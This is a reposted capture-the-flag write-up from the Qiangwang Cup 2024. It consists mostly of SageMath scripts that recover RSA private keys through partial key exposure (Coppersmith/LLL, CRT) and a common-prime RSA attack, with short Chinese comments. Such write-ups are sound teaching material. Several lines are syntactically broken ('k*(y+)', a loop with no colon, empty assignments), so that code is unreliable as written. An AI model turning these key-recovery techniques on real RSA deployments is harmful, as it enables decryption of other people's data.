n =  102642901981254336098741747901172623420780166411939105514052740446882958665848294634734493521923135968206631731063545985873030384483603322024027363922845704172565750971004040435693888211035001187762691190015722006812389086234534328009533471082543961873925283751263529332350672577866481109981599924535404678609
e =  189962433296636397858189439802032661917
enc =  28771293736931749995716546027370674911206676274871427781396414082173158555294868267893888579143759861830466052799720184780861107352149304416397071383905926168134417119958776118941475186883102528786883679401669077012056245905356660833975808039547903562663061693483779468104875191104249885779657493984783162615
d_ =  100565854715514297680956395274954461633846200299142718012397038688128749886083340847497969494321576273757969813340344334088642104646663194967993170982423277963809256758994622541546512573355912794855916475734877810402651996977845354111473025191398757516919400032394220876938377887433988410139688569802853487467
blind =  863346911057
import itertools
def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()

    R = f.base_ring()
    N = R.cardinality() 



    f /= f.coefficients().pop(0) 
    f = f.change_ring(ZZ)

    G = Sequence([], f.parent())

    for i in range(m + 1):
        base = N ^ (m - i) * f ^ i 

        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)
    
    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)

    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)

    B = B.dense_matrix().LLL()

    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)

    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots
    return []

n=72002775317113688540285467671785030264214376134969177894386312150568554267864510238114124791103314081013890542077634384796996108441641259367491852737439283875815904913961193178967651247603461327324881612452957271602668892013627196968069470178106537853725618118244679187226724369629568003877232335388143025421

d_=51922392037054965957994618792545191283979879052769311017420397943569729387241291615967860347543490837943194867963559620326233806950203605430695561698099370379711352056567716185665995739452373593820321078614603310911807288759647808038104413677259085086482871151447742963730089791217336473149711277887953445987
blind=1022253789881
e = 315877627939914682167275979171048924911

k = (d_>>365<<365)*e//n+1
print(k)
d0 = 305686942495898399049381993768424633072311512220602994167415931983633446942350*blind+d_
print((e*d0-1)//k)


PR.<t,y> = PolynomialRing(Zmod(n))
dh = d_>>365
dl = d_%blind
dd= d_+t*blind

f = e * dd-1+k*(y+)-k
for i in range(3,8):
    for j in range(3,8)
    res = small_roots(f,[2^365,2^513],m=j,d=i)
    print(hex(res[0]))
from Crypto.Util.number import *

d_ = 35543944120330116255735518733645489603573091842911907294542145633663234716786783315679867957932690565524695409353902407238230794612110053347977693435578424147992257282456254035309964691562747903421859204068006443325340570360806343392553225754316397967193324090858612423946304818214259628194263287347469670466
blind = 757679866771
enc = 19853765442007775876887241200871445335873698995336480258510762108568698654347239404466018587258683380716257697287810506470119048708570691810417483606733656269976330892819998306493425545055270250642091136316635340047265544394031708296941054865358649424861323618308881521370980854619709646182020458999169008788
n = 58273981186201544662497686603513109679871732872710290794332222899533972577334318295883065181401468548089995964427612249110216775058749030840477167325648156157792476414639983292885697153441817705191116555945635579175171648010932408400320937775056359336717949119846917473695481683831886468389055754689273767107
e = 311238058411019550438393569886672869203

blind_bit = 40
unknown_bit = 365

k = (d_>>365<<365)*e//n+1

PR.<y> = PolynomialRing(GF(e))

f = e * d_-1-k+k*y-k*n
f = f.monic()
ans1 = (f.roots())[0][0]
g = y*ans1-y^2-n
ans1 = (g.roots())

PR.<y> = PolynomialRing(GF(blind))

f = e * d_-1-k+k*y-k*n
f = f.monic()
ans2 = (f.roots())[0][0]
g = y*ans2-y^2-n
ans2 = (g.roots())

pl = []
for i in ans1:
    for j in ans2:
        pl.append(crt([int(i[0]),int(j[0])],[e,blind]))

print(pl)
sh = 43455964700998276860477800987643389941075455294569061
sh = sh*2^170*e*blind

kbit = 242
R.<x> = PolynomialRing(RealField(1000))
f = x*sh-x^2-n


print(f.roots())
for i in (f.roots()):
    ph = (int(i[0])//(2^kbit*(e*blind)))  
    for j in pl:
        R.<x> = PolynomialRing(Zmod(n))
        f = ph*2^kbit*e*blind+x*e*blind+int(j)
        f = f.monic()
        ans = (f.small_roots(X = 2^kbit,beta = 0.4,epsilon = 0.02))
        if ans:
            p =  ph*2^kbit*e*blind+int(ans[0])*e*blind+int(j)
            q = n//p
            phi = (p-1)*(q-1)
            d = inverse_mod(e,phi)
            m = pow(enc,d,n)
            print(hex(m)[2:])

EasyRSA

板子题,网上有现成脚本可以使用

https://hasegawaazusa.github.io/common-prime-rsa.html#%E5%B7%B2%E7%9F%A5-g

from sage.groups.generic import bsgs

N = 
g = 
enc = 

nbits = 2048
gamma = 0.244
cbits = ceil(nbits * (0.5 - 2 * gamma))

M = (N - 1) // (2 * g)
u = M // (2 * g)
v = M - 2 * g * u
GF = Zmod(N)
x = GF.random_element()
y = x ^ (2 * g)

c = bsgs(y, y ^ u, (Integer(2**(cbits-1)), Integer(2**(cbits+1))))
ab = u - c
apb = v + 2 * g * c
P.<x> = ZZ[]
f = x ^ 2 - apb * x + ab
a = f.roots()
if a:
    a, b = a[0][0], a[1][0]
    p = 2 * g * a + 1
    q = 2 * g * b + 1
    assert p * q == N

phi = (p-1)*(q-1)
e = 65537
d = inverse_mod(e,phi)
m = pow(int(enc),d,N)

from Crypto.Util.number import *
print(long_to_bytes(int(m)))

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月6日14:08:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   强网杯 2024 By W&Mhttps://cn-sec.com/archives/3363093.html